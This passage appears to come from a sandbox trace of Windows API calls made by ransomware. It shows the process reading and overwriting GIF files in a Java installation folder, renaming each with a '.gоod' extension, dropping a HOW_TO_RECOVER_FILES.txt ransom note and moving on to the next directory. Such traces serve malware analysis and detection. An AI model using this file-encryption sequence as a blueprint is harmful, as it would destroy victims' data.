lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif", lpFilePart=0x0) returned 0x3b [0102.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0102.660] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0102.660] GetFileType (hFile=0x20c) returned 0x1 [0102.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0102.661] GetFileType (hFile=0x20c) returned 0x1 [0102.661] SetFilePointer (in: hFile=0x20c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49bbf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49bbf8*=0) returned 0x3bac [0102.661] WriteFile (in: hFile=0x20c, lpBuffer=0x35e2dd8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49bae8, lpOverlapped=0x0 | out: lpBuffer=0x35e2dd8*, lpNumberOfBytesWritten=0x1f49bae8*=0x10, lpOverlapped=0x0) returned 1 [0102.662] CloseHandle (hObject=0x20c) returned 1 [0102.663] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif", lpFilePart=0x0) returned 0x3b [0102.663] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0102.663] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0102.663] GetFileType (hFile=0x20c) returned 0x1 [0102.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0102.663] GetFileType (hFile=0x20c) returned 0x1 [0102.663] ReadFile (in: hFile=0x20c, lpBuffer=0x35e73a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bb78, lpOverlapped=0x0 | out: lpBuffer=0x35e73a0*, lpNumberOfBytesRead=0x1f49bb78*=0x1000, lpOverlapped=0x0) returned 1 [0103.587] CloseHandle (hObject=0x20c) returned 1 [0103.588] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif", lpFilePart=0x0) returned 0x3b [0103.588] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0103.588] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0103.588] GetFileType (hFile=0x20c) returned 0x1 [0103.588] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0103.588] GetFileType (hFile=0x20c) returned 0x1 [0103.588] WriteFile (in: hFile=0x20c, lpBuffer=0x31bece0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49bc28, lpOverlapped=0x0 | out: lpBuffer=0x31bece0*, lpNumberOfBytesWritten=0x1f49bc28*=0x1010, lpOverlapped=0x0) returned 1 [0103.588] CloseHandle (hObject=0x20c) returned 1 [0103.588] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif", lpFilePart=0x0) returned 0x3b [0103.589] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.gоod", lpFilePart=0x0) returned 0x40 [0103.589] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bb60) returned 1 [0103.589] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f49bc40 | out: lpFileInformation=0x1f49bc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x39f41357, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3bbc)) returned 1 [0103.589] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb20) returned 1 [0103.589] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.gоod")) returned 1 [0103.590] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif", lpFilePart=0x0) returned 0x3f [0103.590] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bba0) returned 1 [0103.590] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), fInfoLevelId=0x0, lpFileInformation=0x3235530 | out: lpFileInformation=0x3235530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1e7d)) returned 1 [0103.712] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb60) returned 1 [0103.712] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif", lpFilePart=0x0) returned 0x3f [0103.712] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0103.712] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0103.713] GetFileType (hFile=0x20c) returned 0x1 [0103.713] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0103.713] GetFileType (hFile=0x20c) returned 0x1 [0103.713] SetFilePointer (in: hFile=0x20c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49bbf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49bbf8*=0) returned 0x1000 [0103.713] ReadFile (in: hFile=0x20c, lpBuffer=0x32c3f28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bbc8, lpOverlapped=0x0 | out: lpBuffer=0x32c3f28*, lpNumberOfBytesRead=0x1f49bbc8*=0xe7d, lpOverlapped=0x0) returned 1 [0103.714] CloseHandle (hObject=0x20c) returned 1 [0103.714] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif", lpFilePart=0x0) returned 0x3f [0103.714] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0103.714] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0103.715] GetFileType (hFile=0x20c) returned 0x1 [0103.715] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0103.715] GetFileType (hFile=0x20c) returned 0x1 [0103.715] SetFilePointer (in: hFile=0x20c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49bbf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49bbf8*=0) returned 0x1e7d [0103.715] WriteFile (in: hFile=0x20c, lpBuffer=0x32c51b8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49bae8, lpOverlapped=0x0 | out: lpBuffer=0x32c51b8*, lpNumberOfBytesWritten=0x1f49bae8*=0x10, lpOverlapped=0x0) returned 1 [0103.715] CloseHandle (hObject=0x20c) returned 1 [0103.715] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif", lpFilePart=0x0) returned 0x3f [0103.715] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0103.715] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0103.715] GetFileType (hFile=0x20c) returned 0x1 [0103.715] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0103.715] GetFileType (hFile=0x20c) returned 0x1 [0103.730] ReadFile (in: hFile=0x20c, lpBuffer=0x32c7470, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bb78, lpOverlapped=0x0 | out: lpBuffer=0x32c7470*, lpNumberOfBytesRead=0x1f49bb78*=0x1000, lpOverlapped=0x0) returned 1 [0104.215] CloseHandle (hObject=0x20c) returned 1 [0104.216] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif", lpFilePart=0x0) returned 0x3f [0104.216] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0104.216] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0104.216] GetFileType (hFile=0x20c) returned 0x1 [0104.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0104.216] GetFileType (hFile=0x20c) returned 0x1 [0104.216] WriteFile (in: hFile=0x20c, lpBuffer=0x3237d70*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49bc28, lpOverlapped=0x0 | out: lpBuffer=0x3237d70*, lpNumberOfBytesWritten=0x1f49bc28*=0x1010, lpOverlapped=0x0) returned 1 [0104.216] CloseHandle (hObject=0x20c) returned 1 [0104.216] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif", lpFilePart=0x0) returned 0x3f [0104.216] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.gоod", lpFilePart=0x0) returned 0x44 [0104.216] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bb60) returned 1 [0104.217] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f49bc40 | out: lpFileInformation=0x1f49bc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3a55d0e6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1e8d)) returned 1 [0104.217] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb20) returned 1 [0104.217] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.gоod")) returned 1 [0104.217] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif", lpFilePart=0x0) returned 0x42 [0104.217] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bba0) returned 1 [0104.217] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), fInfoLevelId=0x0, lpFileInformation=0x33f3d60 | out: lpFileInformation=0x33f3d60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2fda)) returned 1 [0104.217] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb60) returned 1 [0104.218] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif", lpFilePart=0x0) returned 0x42 [0104.218] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0104.218] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0104.218] GetFileType (hFile=0x20c) returned 0x1 [0104.218] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0104.218] GetFileType (hFile=0x20c) returned 0x1 [0104.218] SetFilePointer (in: hFile=0x20c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f49bbf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f49bbf8*=0) returned 0x1000 [0104.218] ReadFile (in: hFile=0x20c, lpBuffer=0x33f4188, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bbc8, lpOverlapped=0x0 | out: lpBuffer=0x33f4188*, lpNumberOfBytesRead=0x1f49bbc8*=0x1000, lpOverlapped=0x0) returned 1 [0104.219] CloseHandle (hObject=0x20c) returned 1 [0104.219] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif", lpFilePart=0x0) returned 0x42 [0104.219] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0104.219] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0104.219] GetFileType (hFile=0x20c) returned 0x1 [0104.220] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0104.220] GetFileType (hFile=0x20c) returned 0x1 [0104.220] SetFilePointer (in: hFile=0x20c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f49bbf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f49bbf8*=0) returned 0x2fda [0104.220] WriteFile (in: hFile=0x20c, lpBuffer=0x33f5428*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f49bae8, lpOverlapped=0x0 | out: lpBuffer=0x33f5428*, lpNumberOfBytesWritten=0x1f49bae8*=0x10, lpOverlapped=0x0) returned 1 [0104.220] CloseHandle (hObject=0x20c) returned 1 [0104.220] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif", lpFilePart=0x0) returned 0x42 [0104.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0104.221] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0104.221] GetFileType (hFile=0x20c) returned 0x1 [0104.221] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0104.221] GetFileType (hFile=0x20c) returned 0x1 [0104.221] ReadFile (in: hFile=0x20c, lpBuffer=0x33f76f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49bb78, lpOverlapped=0x0 | out: lpBuffer=0x33f76f0*, lpNumberOfBytesRead=0x1f49bb78*=0x1000, lpOverlapped=0x0) returned 1 [0104.302] CloseHandle (hObject=0x20c) returned 1 [0104.302] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif", nBufferLength=0x105, lpBuffer=0x1f49b580, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif", lpFilePart=0x0) returned 0x42 [0104.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49baa0) returned 1 [0104.303] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0104.303] GetFileType (hFile=0x20c) returned 0x1 [0104.303] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ba10) returned 1 [0104.303] GetFileType (hFile=0x20c) returned 0x1 [0104.303] WriteFile (in: hFile=0x20c, lpBuffer=0x327c360*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f49bc28, lpOverlapped=0x0 | out: lpBuffer=0x327c360*, lpNumberOfBytesWritten=0x1f49bc28*=0x1010, lpOverlapped=0x0) returned 1 [0104.303] CloseHandle (hObject=0x20c) returned 1 [0104.303] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif", lpFilePart=0x0) returned 0x42 [0104.303] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f49b6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.gоod", lpFilePart=0x0) returned 0x47 [0104.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bb60) returned 1 [0104.303] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f49bc40 | out: lpFileInformation=0x1f49bc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3a61c014, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2fea)) returned 1 [0104.303] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bb20) returned 1 [0104.303] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.gоod")) returned 1 [0104.304] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f49b840, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x46 [0104.304] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bd60) returned 1 [0104.304] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x20c [0104.304] GetFileType (hFile=0x20c) returned 0x1 [0104.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49bcd0) returned 1 [0104.305] GetFileType (hFile=0x20c) returned 0x1 [0104.305] WriteFile (in: hFile=0x20c, lpBuffer=0x3291200*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f49be28, lpOverlapped=0x0 | out: lpBuffer=0x3291200*, lpNumberOfBytesWritten=0x1f49be28*=0x5d0, lpOverlapped=0x0) returned 1 [0104.306] CloseHandle (hObject=0x20c) returned 1 [0104.306] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49bdf0) returned 1 [0104.306] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext", nBufferLength=0x105, lpBuffer=0x1f49b890, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext", lpFilePart=0x0) returned 0x2a [0104.306] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\*", lpFindFileData=0x1f49bb10 | out: lpFindFileData=0x1f49bb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa11bdb26, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa8ed01b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0104.308] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa11bdb26, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa8ed01b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.309] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f49bad0 | out: lpFindFileData=0x1f49bad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2de78, dwReserved0=0x0, dwReserved1=0x0, cFileName="access-bridge-64.jar", cAlternateFileName="ACCESS~1.JAR")) returned 1 [0104.309] FindNextFileW (in: 